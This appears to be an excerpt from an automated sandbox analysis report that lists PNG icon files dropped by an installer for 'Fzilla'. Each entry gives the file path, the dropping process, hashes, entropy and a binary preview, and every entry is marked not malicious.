Preview:	.PNG........IHDR.............J.N....zPLTEGpL.\|..\|..f..d..;m.......\|..f..v..].......&.&(.(.+.+,.,,.,,.,%.%$.$$.$%.%%.%'.'%.%$.$!.!(.(+.+$.$&.&%.%.\..@.'.'%.%$.$(.(,.,$.$&.&0.0$.$).)$.$ . (.("."$.$%.%,.,%.%$.$%.%,.,$.$.q.(.(...+.+$.$<.<...).)".".q....%.%&.&"."...............................,.,.........-.-,.,$.$!.!$.$.v.+.+.(.(,.,$.$#.#+.+!.!,.,...+.++.+#.#,.,...+.+,.,"."...,.,...,.,,.,,.,#.#,.,+.+"."!.!.i.+.+$.$...k...~tRNS.!..!8..w.}..;p...........`%Q...=.%..w.....a..G1U.I..Y..?4 ....C.S8Z\|k................w....N....._n#..=Rv\|.d.FE...l.z5.../.5....IDATx...Eu...D.2...k.a...B.....O:.IgG.F.4..F.>..F.>..F.>..F.,..F.,..F.,..F.,..F....F.....o.t'....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#.........k...5..5..5..5..5..5..5..5..5..5..5.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>..........3........................................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-T0N0T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6177
Entropy (8bit):	7.856036382675507
Encrypted:	false
SSDEEP:	96:ye/4ihfUP7mqvKRocYrUkA4YbINqeYF8+8fGRIFMkuHpZWvUAjVMj/zCWaUFfQ0q:ye/Hfxx4rqnEweXfQkM/DiMC29QbL
MD5:	869CCAD7537A629A0E507D45E23C4C2F
SHA1:	6E57C27539852ED695228A7EAFFC075C226070FD
SHA-256:	60C7FF5130DC558BFFAC45C9041E161F1EBA7DF449F3A0D083D977CD694309D5
SHA-512:	3F5C42DF0A0DD3F211C00D0751A648AD217367431CFCDCF73998D788F0CEC1C07E0A0567AD06DFE77908D1BAD31306BA5326B05E340C1B2D2D5D63C6753B3C20
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................................................................................................................................................................C3..................UA............J4................1#.............................................................................................................................................x...............t....p................i.......d........xZ........lO.....bH...................._..........rT....................................................\|...................b.i....tRNS..8D4..o.....`.U..@..........hL.1....t'.....*......$.........".......{......z...!......%....#..{.v..r..pm.j...wg.d..a.m]...YdV.S..R.[P.X.J.S.PD.KB.H.<....;9.7...3.3..0.-.-...)..'....Gf]/..M+......^F.:..n_=.C?..fY..[a....lIDATx...a...D.5.{f13s..).S~_oz..n..............E1.....v....x.......

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-U7G0C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6442
Entropy (8bit):	7.873449497068477
Encrypted:	false
SSDEEP:	96:SkU/zn/0QetYFlGKIvUIme9QW5fLmS/jvaN5ie6oL+4HlJ3fMeYkJEeZyR8lQ3f:mz/btIvU1e9QvS7va316oBFJ36JaCr3f
MD5:	BF8B87517AEF468F43AF11CEDF739078
SHA1:	EE57D75C608A3D214443DB8E9FFC74E7829FC260
SHA-256:	AE4050393D3D0AA4901550538EC3B0D2148F1F5BE462E1FB9BE235A7EF456AF3
SHA-512:	3DBD3AC5FD519D459A425D57177B267E05329CDB749372EC11FEDE66B6E2761063FE08AD9168CEBE8A721BAE2BF3FE799BA8D107330823937544FF660495C1E4
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLhhhgggiiigggggghhhgggfffhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggggggkkkiiiaaaeeehhhhhhggghhhhhhiiihhhfffhhhhhhggghhhhhhhhhhhhhhhhhhgggiiihhhhhhhhhhhhkkkiiiggghhhhhhhhhhhhfffhhh...hhhhhhhhhdddeee...hhhbbbggg^^^iiihhhfffdddaaa^^^[[[[[[XXXUUUQQQPPPLLLNNNLLLLLLLLLLLLSSS```eeedddLLLOOOfffLLLbbb```LLLUUU___NNNhhhLLLQQQYYYXXXgggIIILLLMMMHHHKKKJJJMMMKKKHHHfffFFFNNNgggLLLKKKKKKKKKUUUNNNKKKeeeKKKJJJccc]]]LLLhhhMMMhhhHHHffffffNNNNNNKKK999...@@@...KKK###......PPP.........777...JJJ...AAA...ccc......---......000HHHhhh333IIIFFF...KKK......ZZZBBBKKK...<<<.........AAAJJJ'''BBBJJJ...ggg'''^^^FFFGGGJJJDDD===...>>>555DDDIII...JJJFFFHHH333@@@KKKeee...999(((...UUU>>>LLLIIIKKKDDD<<<CCCTTT^^^...iiiYYYQQQ^^^cccRRR___PPPUUUYYYbbbXXX___ZZZbbbeeebbbNNNQQQPPP\\\[[[bbb(.......tRNS..&9N`ny.................s;+...Y....P/.4]....f?.K.........#..U.}.....c.).w.............................G....!..R../.w...,...C.Xq..~............f..+......L...u....8..<..C....$.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-UO4MV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7566
Entropy (8bit):	7.752987987439076
Encrypted:	false
SSDEEP:	192:3m3p04ei2gMITCePAnPEjklUWUunlLAV/tnT6:W3nuITCjnMoDnlL2tn2
MD5:	DC267D9678AFF17E9A8A557F0C9E690F
SHA1:	A6AEE93AB4C750B297B1B3995924B383B9BE7875
SHA-256:	930281B5E99BCF3C891B48A2830F5BCFD19D2AB03F9A2CFFC2594016233CCD14
SHA-512:	B918863336196EB55584655D44AC328CFBCB08BD8C8E3B8896567A91791F746329B7832CDAC81A996EEBFC81C35208D408CB126D518C766D15AAAAC1384AF503
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL,.,+.+'.'.\|..\|..\|.,.,,.,,.,,.,+.+$.$.r..........hhhKKKDDDlllhhh[[[LLLKKK....kkkhhhhhhLLLLLLLLLhhhLLLLLLhhh+.+-.--.-+.+#.#......+.++.+...hhhiiihhhAAA,,,**KKK---JJJKKK.y.fffggggggKKKJJJDDD....v.gggggg___hhhgggJJJFFFiiiggghhhKKKCCC###hhhgggIII555hhh>>>...).)eeehhhhhh...%.%999...hhhIII;;;aaaLLLELTLLLKKK.........hhhgggZZZDDDIIILLLLLLiiiKKK...hhhIII...eeebbb^^^[[[XXXQQQ???AAABBBFFFSSSddd\\\???GGGKKKhhh222...LLL..#...777ccchhhhhh...KKK...(.(+.+ . hhh???%.%'.'%.%iii...JJJ%.%aaahhhOOOdddaaa>>>LLL@@@'''ccc@@@>>>```.........RRRKKKMMM...!.!ccc#.#KKK...555iiiJJJ&.&+.+$.$#.#...LLLKKKhhhWWW[[[ZZZhhhhhhggg...___.`..a..f..u..f..I..e..f..u..\|..r..f..d.hhhJJJ.e..;mhhhKKK.H..K..f..b.KKKKKKhhh.s..y..s.iiifff000hhh@@@hhh;;;LLL.a..\|..\|..l..~.ggg.r..}..u..n..\|.....\|..w........tRNS.F......................f....\..M....<D..W.._..Y..v'4.7.H.8....:..P....3...-n.D.^.d....oO..V..+.#......>..6f......vm[fp{.D.i../!.$.J.(z(....w.9...a...n.S..c.g.na....`p..u.e..+

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-UV3JR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4550
Entropy (8bit):	7.7815610387333285
Encrypted:	false
SSDEEP:	96:lfOgGHniynLAQ8t/jUV3RHH7CO9J0iP1kYK2Cd5:lfoPnOjURRHHFqIGYKhd5
MD5:	A5C2E72F7C61158A6E17AEA666DE99FD
SHA1:	83F0E6816C8735AC340335209D6C02916F4C019C
SHA-256:	9BF88F5A0F4DEB7035CFD2930225596B4E0767010D34F01C3EE093C17164033F
SHA-512:	712A0E1A5D098BE686F2A897A12F8A41D8B2254D30F2539094A6FC8E334238AAEBA16562E2BC8DAB81CBB31FC8858B936E134D5EF6479170FD2ECF10AF75F61C
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..............................................................................................................................................................................<<<.........hhh......................................"""...GGG...]]]......BBB...............jjj......lll.......eee...............................................................2..3.....@.@A.A.......}.z.........-.-.....a..l.l}..}........1.....?.?.............=.=........u..x..~.~..K..W.W-..;.; ~.!..0.01.1y........4..B.B....\|..~.....J..V.V...sssjjjhhh.............vvv.......iii.....................uuu..........ttt......................rrr...kkk...........www.......................v..H......~..\|........T.T<.</./,.,............K......wtRNS..Ex.......m..9.;.....L...........J.7..y...............U...".y.,.O..:L...a......$.)..#...Y]$..-.M.+z.V................@=.}....IDATx^..JC..D...M.D.4..TDal.vA........Znkau.._8..

C:\Program Files (x86)\Fzilla\resources\default\480x480\leds.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 479 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71300
Entropy (8bit):	7.969395094249343
Encrypted:	false
SSDEEP:	1536:+ugX0gq4ztRfYQc/IRPwaujGXyNyUj4cB7QvivVW6UgXccjyRlw:bgX06zXY+IucGviwoXcjw
MD5:	87363ED4937B5B1633E6C756268A46A6
SHA1:	C4BF71F9307A897FC9B44ED740DBF2797750E90A
SHA-256:	1D6C546397E8EBF71503279D0D8DA8A9343908FEC4B9B1D97926EC5532EFB365
SHA-512:	3BF66CACA161D6AC8ED60236DDB6618B910A485E4DD69797CED2F057792B2757F634606E94C7DFFF28EA26C261E23B3CAD9EA063EB056E648AB9B2CB83C173F9
Malicious:	false
Preview:	.PNG........IHDR..............,g ...KIDATx...s.H.F.......$..l...~....e..u..IZ....8n.C...._.N....rO..L.=.W... ..f+<.....#..B..\.P..\|>........\|....K...>..]...brZ..5.d.>.z....8..~.}.#.n.....@p..;8..&........G.....x....yop.]....Ba.x..."..@?!...-........b.x.....R..6.{.V....@...... ...8...aE5,......C.C... .........K...B...#......!...\....$y.S..S.n.:p....%4.w.(.w..g.....L...l........<\.n...\D..~.M......A...j.j4h,~.....o....T....9..@......_Q....?..7_..N........q`.~w<..'..U.F...:.,D,....^..`o#..9.}^.R...W...B.07.T...1....a....g...S._..(.V.!.Klt...pq...hw...-.=b3........\K.}...0T....f.. .........v.-."7A..h..'....].U\|Up..<........^.S....y....,..M.......9......n<.o..s;...i..H.h..C\|A........`...P..l.m.......w.d......O!].....6.!$m..4.=..~....)...]U.<.........'.9.Ia..mk..uf&...`Oe@']f..M....!../...Io...N./...z.....p.B.z ...u..1...+....?.D.?.<.jpB..n.c_...GS..fy...i...L...mBH.-...Y....~0...t.......}.Q.nj5.e5.Q....gT.....}....W..FA...p..W..ND....*.../Mt....Z.

C:\Program Files (x86)\Fzilla\resources\default\480x480\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3266
Entropy (8bit):	7.328039314567966
Encrypted:	false
SSDEEP:	96:DegD6aa4rCMu38yvE44444N44444444Ya44444l444444444464444444444444w:lLfuePf8T3nX
MD5:	E21443D7CAD7E6927FD6D798A4232BB4
SHA1:	0C4B2F6E709822C59F884F960471009408782D09
SHA-256:	A67AF84C06743847FFC0EDBC79FFC4A3CE93C89FF57C03C0F18C3782B5347988
SHA-512:	052428EDCC9D026EDA6CCB32EA2E7104B68D9D346F016B82AEADE8B7FB191D704E21CEC084721DD35AAEB51BEDB06BABD4097F7F7623E58834805DE2BC3CC47A
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLfffggghhhhhhiiihhhhhhhhhhhhhhhiiiqqqfffggghhhhhhhhhggghhhhhhggghhhjjjccchhhhhhhhhhhhhhhhhhhhhhhh...hhhgggggghhhiiihhhhhhiiihhh]]]fffhhhggggggmmmiiihhhfffiiixxx......yyynnn\|\|\|...rrr~~~wwwkkkjjjttt...iiikkk................sss.....................................................iiihhh....ppp.........mmmlll{{{......hhhooo...gggggg........qqqiiihhh........gggzzz........hhh..............hhh......................................................................................................}}},.,.....................................................<<<..................hhh..........................................................""".........GGG......]]]......BBB.................lll........................eee...............................tRNS..Ex.......D..m..l9.;..:......L...............JO...7...........................................k...............Cy....w.................................................................wU..

C:\Program Files (x86)\Fzilla\resources\default\480x480\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5407
Entropy (8bit):	7.81091631819485
Encrypted:	false
SSDEEP:	96:v6YS0SkXlJsggePtQOC8UokUWrXLoaUIf4Th2KO3vY4444444444044444436Ak:bS0SkXnsutQMUofWr/UIf61xAk
MD5:	D4A4969B85930B19AE2790ED9BB70168
SHA1:	B7AE0D6A15CFD5A091F5D12939AE66105325AD35
SHA-256:	69A41DCFA17370F4DD0E6FA74943FA674DA8D860AEB35F3208AF21849AD314A7
SHA-512:	6D8B27A9030E9EAC7CFD288B3CC6535113B269A79B91038C9598646918ED16191AB5A1AEAF895F6FA9EC15DB3BB96BFB93754A0C9858C2BA8F2E6F7B2DD3DE3C
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLfffhhhiiiiiiggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggg...mmmggghhhhhhhhhhhhhhhgggggghhhhhhggghhhkkk...hhhhhhgggfffggghhhhhhggghhhhhhhhhfffhhhiiihhh"""gggggghhhhhhhhhhhhhhhfffiiigggfffhhhggghhhhhhhhhfffgggdddaaa^^^[[[YYYTTTKKK>>>;;;+++ddd___WWW111...^^^QQQddd[[[HHH...fff```RRR...fffOOOFFFWWW[[[CCC...)))...hhh............YYY...]]]...bbb555...eee...bbbddd...eee...cccggg.........UUUaaafff...................................................................................................................................."...v5se=j_AbZDXTHPNJUQH`XDf\Aoa=.n4.}+.."...........&.r5WSHLLLSPI.z-........[UEMML.......~+......,.t0...x.. ..~l;xf;...}1...m:\VF.~.......................@0.....fK....}..................k^....tRNS..3Tv........fC"..;....M...^.+. ....c...p..?...-'./...E..Y..Ii.H....n]I84*..k-..W.\|F..Z .RBex=.'......r....0.......$.7...`.\|.Dw...........wC.m....k:..9....L.L......JO7y..........................

C:\Program Files (x86)\Fzilla\resources\default\480x480\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4550
Entropy (8bit):	7.7815610387333285
Encrypted:	false
SSDEEP:	96:lfOgGHniynLAQ8t/jUV3RHH7CO9J0iP1kYK2Cd5:lfoPnOjURRHHFqIGYKhd5
MD5:	A5C2E72F7C61158A6E17AEA666DE99FD
SHA1:	83F0E6816C8735AC340335209D6C02916F4C019C
SHA-256:	9BF88F5A0F4DEB7035CFD2930225596B4E0767010D34F01C3EE093C17164033F
SHA-512:	712A0E1A5D098BE686F2A897A12F8A41D8B2254D30F2539094A6FC8E334238AAEBA16562E2BC8DAB81CBB31FC8858B936E134D5EF6479170FD2ECF10AF75F61C
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..............................................................................................................................................................................<<<.........hhh......................................"""...GGG...]]]......BBB...............jjj......lll.......eee...............................................................2..3.....@.@A.A.......}.z.........-.-.....a..l.l}..}........1.....?.?.............=.=........u..x..~.~..K..W.W-..;.; ~.!..0.01.1y........4..B.B....\|..~.....J..V.V...sssjjjhhh.............vvv.......iii.....................uuu..........ttt......................rrr...kkk...........www.......................v..H......~..\|........T.T<.</./,.,............K......wtRNS..Ex.......m..9.;.....L...........J.7..y...............U...".y.,.O..:L...a......$.)..#...Y]$..-.M.+z.V................@=.}....IDATx^..JC..D...M.D.4..TDal.vA........Znkau.._8..

C:\Program Files (x86)\Fzilla\resources\default\480x480\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7566
Entropy (8bit):	7.752987987439076
Encrypted:	false
SSDEEP:	192:3m3p04ei2gMITCePAnPEjklUWUunlLAV/tnT6:W3nuITCjnMoDnlL2tn2
MD5:	DC267D9678AFF17E9A8A557F0C9E690F
SHA1:	A6AEE93AB4C750B297B1B3995924B383B9BE7875
SHA-256:	930281B5E99BCF3C891B48A2830F5BCFD19D2AB03F9A2CFFC2594016233CCD14
SHA-512:	B918863336196EB55584655D44AC328CFBCB08BD8C8E3B8896567A91791F746329B7832CDAC81A996EEBFC81C35208D408CB126D518C766D15AAAAC1384AF503
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL,.,+.+'.'.\|..\|..\|.,.,,.,,.,,.,+.+$.$.r..........hhhKKKDDDlllhhh[[[LLLKKK....kkkhhhhhhLLLLLLLLLhhhLLLLLLhhh+.+-.--.-+.+#.#......+.++.+...hhhiiihhhAAA,,,**KKK---JJJKKK.y.fffggggggKKKJJJDDD....v.gggggg___hhhgggJJJFFFiiiggghhhKKKCCC###hhhgggIII555hhh>>>...).)eeehhhhhh...%.%999...hhhIII;;;aaaLLLELTLLLKKK.........hhhgggZZZDDDIIILLLLLLiiiKKK...hhhIII...eeebbb^^^[[[XXXQQQ???AAABBBFFFSSSddd\\\???GGGKKKhhh222...LLL..#...777ccchhhhhh...KKK...(.(+.+ . hhh???%.%'.'%.%iii...JJJ%.%aaahhhOOOdddaaa>>>LLL@@@'''ccc@@@>>>```.........RRRKKKMMM...!.!ccc#.#KKK...555iiiJJJ&.&+.+$.$#.#...LLLKKKhhhWWW[[[ZZZhhhhhhggg...___.`..a..f..u..f..I..e..f..u..\|..r..f..d.hhhJJJ.e..;mhhhKKK.H..K..f..b.KKKKKKhhh.s..y..s.iiifff000hhh@@@hhh;;;LLL.a..\|..\|..l..~.ggg.r..}..u..n..\|.....\|..w........tRNS.F......................f....\..M....<D..W.._..Y..v'4.7.H.8....:..P....3...-n.D.^.d....oO..V..+.#......>..6f......vm[fp{.D.i../!.$.J.(z(....w.9...a...n.S..c.g.na....`p..u.e..+

C:\Program Files (x86)\Fzilla\resources\default\480x480\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	7.2593892345533515
Encrypted:	false
SSDEEP:	48:Tar4QgSavDfX6EAl8c2TfYgC9BN88J86qb37oX6C/WhmOAhO7ZS:TlQIvTzA+H7W9zFqT7oKC/POAhQS
MD5:	247CC463EC1C836C2388317B8C5FD91B
SHA1:	28E00529F0A265CE1EE9CF0D346BDE59A8AC695C
SHA-256:	444B408A816C39E965A7C960C44C8976ED99B1EF3263088B41B6A170F3747D9C
SHA-512:	8BB9472A75B0F9671CEE6DE747F346A7F56D497C9CB42CCD60F61724BB8FFC8BA733E395A79E0AF2984291A9E2F92FBD3BD23A49E6DB4130220DD90EFAF2CFCA
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL%.%...+.+-.-$.$&.&,.,,.,%.%,.,%.%...+.+(.(%.%+.+-.-(.((.((.(.,.,,.,-.-+.+...+.+"."......,.,,.,"."............,.,).)).)).)).)).)+.+!.!#.#$.$......."."..."."...#.#+.+%.%...,.,$.$$.$,.,...%.%,., . 0.0.}..f..\|..\|.....f..f..\|..f.....z..c..\|..v..v..\..a..b..l..X...........YtRNS.v.v............U...b......L....R...........N..R.SSSS....M.M@@.....77..........w}...}@@........JIDATx....,.....O...{.Eqn.=g\. .,nX..wwG7......'.C...`..'.F.g.E..gg.r.......)..0`.=...&..0`.....&..p.`...&..pC`...&...0`...&...0`..7.&..0`........:._...J=..(.\...J=.R..z.`......L8..0`.....&..pg`...&...0`..w.&..0`....&..pk`...&...0`...O.._..........".S'.O....k..P.y.....W.&..pg`......L.p.0`....... ...I...L.p.0`....... ..0..a........L.p.0`......&.8@.0a.........*.8@.0a........N... \|....z.}..`.Mm.0.@.1.0.D.).8.w.......z....s\|..vS.p......;..g.Na...S.p......;..g.Na...S.p......;..g.Na...S.p......;..g.Na...S.p......;..G.Na...S......1..>.`....m..'.

C:\Program Files (x86)\Fzilla\resources\default\480x480\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3766
Entropy (8bit):	7.668064468145603
Encrypted:	false
SSDEEP:	96:yABVE4ZAOL7HOxM++++++++AfcNIHSX1KWRhBIPpQ:yAfE4ZAK7HOzSX/hB
MD5:	C19505C35182FBC2D2C81ED60E62926B
SHA1:	D415F48879875F94CBE9DD7FDB7A7DADE6603EB1
SHA-256:	981892D7FD00D58C2ED41E33BFE1CC35FDA8F66D3EA1A533063CBA3058331683
SHA-512:	8125BC3C108BF846BE6AA38FBAC89E0683FD784A239858FA23E71E533944521410EF925525CC3FE32BFFC28D2DE47353555FD727D69E7408EB7CE10D65A664D1
Malicious:	false
Preview:	.PNG........IHDR.............J.N....CPLTEGpL...........................................................................................................................N../.. ...\|.G...f..h.)q.D..u...................6..-t.......g.w..j..^....{..*r....F...i.......0....%.%&.&).)$.$'.'&.&$.$%.%%.%$.$$.$%.%#.#%.%$.$%.%%.%$.$%.%......!.!$.$%.%...!.!.3...."."#.#$.$.......~........p.pf.fR.RZ.Z.......<.<,.,y.y...7.7...}.}...E.E.....u...................................jjjhhhLLLNNN........{{{aaa.........xxx]]]7.7...mmmRRROOO8.8.................a.a..h.hQ.Qg.g\|\|\|SSS...9.9I.I...`.`@.@j.jm.m7L7S.Se.ey.y.G.X....tRNS..Q.........L..vs..P.......<:.................................................$...z...._H...ToM......#j...!.C.....................?......................................................%..i.y.....aIDATx...S.4W...}.m>.~.{..[l'.F.VWE.O.@..F.K\|.\|+.a(g...X.o.([M.H..53.m........B.,w..f'B.?....95_.....l.-'.<...........S..........'...[1..hr.^^.....3.g1..O.....M.

C:\Program Files (x86)\Fzilla\resources\default\480x480\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9002
Entropy (8bit):	7.90499917866584
Encrypted:	false
SSDEEP:	192:85bym70BSUT65YNWN4LgwR8QOl6xjOyJ0Bpz0Q34IvCZSS0OlApz:85bH7yT65IiCclKOBR0QIK/SnlO
MD5:	F95D73543381834FD6AAD987DF30F157
SHA1:	29B81A5613C3A7B73260F2579B23B1CDAFFE4FC9
SHA-256:	E72E2057AFE1C9C449C2F43A83129DC24D4349E34F40CE957B56F7F87ABA927A
SHA-512:	095924C202A73FF4D91668AD9FF6EFEC9D5F12D410487669AC2518D7CAEB12651284D051BA8AFD692BF0E0CB059C70BBC590D265B38FA1243242385E50262B0D
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.t..u..w..\|..\|..\|..\|..{..\|..}..\|..\|..\|..\|..{..\|..{..\|..\|..\|..{..z..{.....\|..\|..\|..\|..{..y..}..z..\|..r..\|..\|..\|..\|..s..\|..\|..\|..}..y..}..\|..U..f..f..i..f..h..f..f..c..f.....f..m..h..e..f..f..e..f..d.....l.....c..f..c..k..z..y..x..y..v..s..f..p..n..l..i..f..j..r..c..b..a..]..X..P..M..>m..0._..K.......Cu.Z..s.....E\|.x..V..v..T..l..s..M..^..4^.u...........................................,.,-.-...%.%%.%%.%.&.&.'.'%.%+.+&.&).)'.'+.++.+%.%,.,+.+'.'+.+$.$,.,+.+%.%%.%,.,%.%).)%.%'.'&.&,.,'.',.,,.,#.#%.%%.%'.'+.+%.%,.,,.,-.-%.%,.,%.%+.+,.,).)%.%'.''.'%.%%.%+.+.%.%,.,...%.%(.("."....K.$.$,.,.$.$&.&....%.%$.$&.&%.%+.+.j.%.%).)&.&&.&.!.+.++.+).)&.&....y.....#.#.Z.&.& . ..4..t.%.%,.,$.$).) . .).),.,%.%+.+.*,.,%.% . ......"."..."." . ...x....tRNS..&7F^m...........xaN .......,.2V.=s......g.....o...........D.O........Xz...........f......sYH3!.'..8...?.N.ev.D......................... ..&.-.....5.I..T..e.t..........vi..X..G@l.........W?'

C:\Program Files (x86)\Fzilla\resources\default\480x480\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2426
Entropy (8bit):	7.173475038176575
Encrypted:	false
SSDEEP:	48:Vb6fcRyyUTT1nf3UeGj5nMoMwW/ZVUHBYIYo2hBo:CGuT1nlY5nMfhuHxVK6
MD5:	3DAED236D7DF410FF02684080378572D
SHA1:	B7427A30E75C4AAD0A8B031BBEEB16E57BA7B8B4
SHA-256:	75A915C0CAF149C46DF534577F1FB089FAC8CF0EFDA8FBE6115B5118942391E5
SHA-512:	2A4C7659795B6C497AE657CF287DC8580769E3D7A91C130F0E559F45C1E55E60324E80C4C2B0C2722E7BD0158D8779151B0A80177EEEA5BABFE277FE9870B55D
Malicious:	false
Preview:	.PNG........IHDR.............J.N....&PLTEGpL)))ggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggg+++ggggggiiiyyy......lll\|\|\|qqq~~~ttt.................................................................................\|.............................................9<@.............Y`f..............................."........}.....btRNS..Dx.......l.9..L....................................................x.GU."..ly.+...8O.L._........'(....IDATx.....0.D.%.&..k...I.............................n..F....wmSW.H...(.8OI.-.h.j\....F..E..(^...>.....8N#...mU6..nJ..H.tK5..t....`..N#.S..F@..J...tMk.....j.....L`...k..q.@....+.Y^.23..b......l}G. .7..s=?xD..v..B.....q...~....%...8AC.#..f..'.v..:.V......`...... GM...F.....h....l.P.....!2....w..bM.dH..z...5..z=.....Yg..C.t.Q8lS^;D^$)....@.......dP_...T4BN..!r..a.:....bLF.]T.T.........;_S..&.M.62bI.92.%.Nw]y.....@.y....c..2......F....nI.%R.....JRu......AAB.y...q.H..3.fHPt...@.q>n@..RR..............P...n..

C:\Program Files (x86)\Fzilla\resources\default\480x480\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2466
Entropy (8bit):	7.092284993226423
Encrypted:	false
SSDEEP:	24:5RzIW1ACCU3KfoR7hLRBw47hHLHvZAU8fLoa+C0VEULkq1J95e4+zY2ZFBVDOofS:RUyRrHxAU8fcHVTF9izlZEogy70Eu6Cj
MD5:	7560335F2F31BF8300AFC5A0BDBFC3CE
SHA1:	B80FBF9440699B2B22F27C0368DAE86F9D6A770A
SHA-256:	B4C90CB537691557A35824C335B4A41E1B877A81C748CD0F9E9180A25A8BE94F
SHA-512:	43AA887B9CF2AB4C5B6C4BA5F2940C6048037EDCC279BD70EACB582401F9E386AF8365712267EF3E0757A07D185C881C135419244862BE3CB66E37D6D5B2318B
Malicious:	false
Preview:	.PNG........IHDR.............J.N....}PLTEGpLggghhhhhhhhhhhhLLL<s.fffKKKMMMhhhIIIaaahhhLLLPPPhhh???hhhLLL666LLLFFFhhhJJJ...hhhLLL.p.........................DDD...HHH111ggghhhggg___```dddRRRGGG....\|.EEELLL<q.dddKKK.s.hhhLLL......%.%VVV...........ppp\|\|\|...,.,KNKgjg......F[F,.,`w`...........%.%kkk...............R.R>s>CeCY.YK.K5.5...OOO...:~:'.'...Br.3.3).);.;&.&......A.AN.N___?n?vvv<y<7.7,.,6.6.\|.E.Ecpc:.:ITIF.FH.HF.F).).@.....:tRNS.$y......w"..L..S_V@9..ll..............!.>...............[.S....IDATx^..gw.U...$...\. .J.{l8.....$...Q.....z....0.;w...\|..........6.Ei..Q...~...y7G.......u[."p.....:.4..lGA..m......1..8~..{......]....6....!Ea..9.V...:p.Wp..^.{B...p.....0`.......0`.......0`.......0`......Uie.=.. 5......p...e...B........+`Y..?......p...+..?.........p....0...^.2.X..5..k.......cU...k.}4a`....g7U.Z7.$.....f...;.$0...m"......^.n6.....?.n>...._n......\|\|.....&...\k.?I.....~..0.K..\|=l`..............<{...o.$..8z.......?.\|.......~j>..89`..w..\|m&A`...4...q......

C:\Program Files (x86)\Fzilla\resources\default\480x480\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7759
Entropy (8bit):	7.88490309976475
Encrypted:	false
SSDEEP:	192:zeiOHPJ8NiNzLyGCY4WQfIKbQZc3m4rLhaW:10xZ4WYIAV3trLh9
MD5:	BA100276E608AFDADD0DFC761506145E
SHA1:	251396BB432C8FDBF28715F059BB83B1580ECD3B
